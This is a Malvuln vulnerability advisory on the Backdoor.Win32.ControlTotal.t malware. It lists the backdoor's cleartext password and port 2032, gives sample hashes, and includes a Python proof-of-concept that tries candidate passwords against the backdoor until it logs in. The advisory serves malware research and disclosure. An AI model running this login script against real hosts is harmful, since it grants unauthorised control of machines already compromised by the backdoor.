Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025 Original source: https://malvuln.com/advisory/6c0eda1210da81b191bd970cb0f8660a.txt Malvuln Intelligence Feed: https://intel.malvuln.com/ Contact: [email protected] Media: x.com/malvuln Threat: Backdoor.Win32.ControlTotal.t Vulnerability: Insecure Credential Storage Description: The malware listens on TCP port 2032 and requires authentication. The password "jdf4df4vdf" is stored in cleartext within the PE file. We send using a custom client to validate the password, as the malware did not like nc64 likely due to CRLF characters. Family: ControlTotal Type: PE32 Attack-pattern TTP: Unsecured Credentials (T1552) MD5: 6c0eda1210da81b191bd970cb0f8660a SHA256: 25b46a418b4e0749f83d9439fd1f5b9e2e5dd0703398516ac750580a26c800d5 Vuln ID: MVID-2025-0702 Disclosure: 12/20/2025 Exploit/PoC: from socket import * import time #By John Page (aka hyp3rlinx) #Backdoor.Win32.ControlTotal.t #MD5: 6c0eda1210da81b191bd970cb0f8660a # MALWARE_HOST="x.x.x.x" PORT=2032 candidates = [ "cs4sd65F", "5s64jhbk", "54asD54s", "SDd54F7j", "5fh4dhhg", "df2gdfg2", "AS45aas7", "D54SDFfh", "jdf4df4vdf", #Password Here "sdf21fsd", "dgv2fd", "annsk33", "20022okkd" ] def chk_res(s, p=None): failed = False res = b'' while True: chunk = s.recv(128) if not chunk: break res += chunk text = res.decode('latin-1', errors='ignore') if "xaContraseña Incorrecta" in text: failed = True break if not failed: return p return None def backdoor_login(passwd): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send(passwd.encode()) result = chk_res(s, passwd) if result: print("[*] Password found: ", result) else: print("[!] Failed.") return False s.close() return True def main(): for x in candidates: print("[-] Trying: ", x) if backdoor_login(x): break time.sleep(0.6) if __name__ == "__main__": main() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).